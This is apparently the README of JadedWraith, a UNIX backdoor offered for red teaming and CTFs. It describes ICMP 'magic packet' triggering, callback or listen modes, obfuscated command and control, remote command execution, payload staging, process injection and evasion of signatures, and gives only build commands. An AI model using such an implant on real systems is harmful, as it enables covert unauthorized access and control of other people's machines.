Lightweight UNIX backdoor for ethical hacking. Useful for red team engagements and CTFs. Something I wrote a few years ago as part of a game I was playing with a friend to try to backdoor as many VMs in each other’s labs without being caught or having our tools reverse engineered/signatured.
Features
JadedWraith is a powerful backdoor capable of either listening on a TCP port or sniffing packets for a “magic” ICMP packet instructing the backdoor to either callback or listen. This is partly inspired by tools such as PRISM, however, unlike PRISM JadedWraith incorporates shoddy cryptography to obfuscate command and control. JadedWraith can be used to execute remote commands or upload follow on payloads.
JadedWraith can be compiled as a standalone executable or as a shared object for process injection.
Components
The source code for the actual implant can be found inside the src directory. client contains a simple python based client for interacting with JadedWraith. The conf_jawr script is used to configure new JadedWraith executables.
Dependencies
The implant requires a modern C library and libpthread. Depending on the target operating system, libpcap may be required (In which case, it you must run the ./configure script with --use-libpcap to enable libpcap support).
The Python configuration script and client require the the following packages to work: termcolor, pycryptodomex
How to compile
Simply use the Makefile to compile. Note: The resulting binaries found in bin must be configured before they can be used.
$ ./configure
$ make
$ ls -lart bin
-rwxrwxr-x. 1 root root 19712 Jul 31 13:08 JadedWraith-2.0.0-Linux-x86_64.elf
How to configure
Use the conf_jawr script to configure JadedWraith executables. It will search the bin directory for JadedWraith executables to configure. The configured binary will be written to the configured directory.
